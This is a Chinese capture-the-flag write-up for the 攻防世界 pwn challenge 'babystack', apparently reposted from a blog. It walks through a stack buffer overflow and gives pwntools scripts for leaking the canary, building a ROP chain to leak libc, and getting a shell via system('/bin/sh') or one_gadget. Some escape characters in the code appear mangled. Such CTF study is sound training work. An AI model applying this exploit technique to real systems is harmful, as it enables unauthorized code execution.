『攻防世界』:进阶区 | pwn1

开学前把系统重新装了一遍,遇到一些环境的问题,慢慢解决了

然后checksec安装成为了最新的版本,使用方法变成了:checksec --file=babystack

不管了,使用python创建一个elf对象会自动调用老版本的checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

再温习下各个保护机制对解题的影响:

  • Arch:程序位数
  • RELRO:开启则无法修改got表
  • Stack:开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
  • NX:开启则shellcode无法被执行
  • PIE:开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址

IDA静态分析:附件

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   char *v3; // rsi
 4   char *v4; // rdi
 5   int v5; // eax
 6   char s; // [rsp+10h] [rbp-90h]
 7   unsigned __int64 v8; // [rsp+98h] [rbp-8h]
 8 
 9   v8 = __readfsqword(0x28u);
10   setvbuf(stdin, 0LL, 2, 0LL);
11   setvbuf(stdout, 0LL, 2, 0LL);
12   setvbuf(stderr, 0LL, 2, 0LL);
13   v3 = 0LL;
14   v4 = &s;
15   memset(&s, 0, 0x80uLL);
16   while ( 1 )
17   {
18     sub_4008B9(v4, v3);
19     v5 = sub_400841();
20     switch ( v5 )
21     {
22       case 2:
23         puts(&s);
24         break;
25       case 3:
26         return 0LL;
27       case 1:
28         v3 = &s;
29         read(0, &s, 0x100uLL);
30         break;
31       default:
32         sub_400826("invalid choice");
33         break;
34     }
35     v4 = (char *)&unk_400AE7;
36     sub_400826(&unk_400AE7);
37   }
38 }
mian

简单运行下程序:

running
RUNNING

从静态分析中可可以发现当我们第一次输入1后接下来会执行read函数,但是它的控制读入长度大于开辟的空间,这里是一个溢出漏洞利用,看一看能够做什么,我们只需要从char s填入0x90-0x8 个垃圾数据后在通过选择2选项就可以将canary的值泄露出来。同时这道题还提供了程序的库文件。X64传参的方式当参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9.当我们成功得到canary的值后就可以构rop链进行控制程序。

首先试着获取canary:

#coding:utf-8
from pwn import *

io = process("./babystack")
payload = cyclic(0x88)
io.send('1')
io.sendline(payload)
io.sendlineafter(">> ", "2")
io.recvuntil("
")
canary = u64("x00" + io.recv(7))
print hex(canary)
io.close()
GetCanary

获取偏移:

read_got = elf.got["read"]
read_plt = elf.plt["read"]
puts_plt = elf.plt["puts"]
start_plt = 0x400908
pop_rdi_ret = 0x400a93
pop_rsi_r15_ret = 0x400a91
io.sendlineafter(">> ", "1")
payload = cyclic(0x88) + p64(canary) * 2 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(start_plt)
io.sendline(payload)
io.sendlineafter(">> ", "3")
read_leaked = u64(io.recv(6).ljust(8, 'x00'))
read_libc = libc.symbols["read"]
libc_base = read_leaked - read_libc
GetBase

获取shell:

这里有两个方法,一个是传统的通过libc文件dump出system和str_bin_sh.再构造payload = 'a'*0x88+p64(canary)+'a'*8+p64(popedi)+p64(binsh_addr)+p64(system_addr)

另一个方法就是通过one_gadget从libc获取到execve("/bin/sh", rsp+0x30, environ)的exeaddr再加上偏移得到最后的exeaddr,payload  = payload = cyclic(0x88) + p64(canary) + 'a' * 8 + p64(exeAddr)

原文地址:https://www.cnblogs.com/Zowie/p/13620296.html